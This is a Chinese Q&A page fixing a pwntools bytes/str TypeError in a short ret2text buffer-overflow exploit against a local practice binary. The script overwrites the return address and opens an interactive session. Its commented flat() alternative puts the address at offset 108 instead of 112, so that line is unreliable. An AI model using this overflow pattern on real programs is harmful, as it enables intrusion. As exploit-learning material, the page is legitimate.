You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

使用Pwntools编写漏洞利用代码时遇TypeError类型错误求助

问题解决:TypeError: can only concatenate str (not "bytes") to str
  • 报错根源:p32()函数返回的是bytes类型,而代码中'A' * 108和"junk"都是字符串(str类型),Python不允许直接拼接字符串与bytes类型数据,因此触发报错。

  • 修复方案:将所有字符串统一转为bytes类型后再拼接,或使用pwntools的flat()函数自动处理类型转换:

    修正后的代码示例:

    #!/usr/bin/env python
    
    from pwn import *
    
    sh = process('./ret2text')
    target = 0x804863a
    # 给字符串前缀加b转为bytes,与p32返回值类型统一
    sh.sendline(b'A' * 108 + b"junk" + p32(target))
    # 更推荐使用flat函数,自动处理类型与打包逻辑
    # payload = flat({108: p32(target)}, filler=b'A', length=108+4+4)
    # sh.sendline(payload)
    sh.interactive()
    
  • 补充说明:pwntools的IO交互函数(如sendline)默认接收bytes类型输入,统一用bytes构造payload能避免类型冲突。flat()函数还能简化复杂payload的构造,自动处理数据对齐、类型转换等细节。

内容的提问来源于stack exchange,提问作者Harry

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.08 19:02:00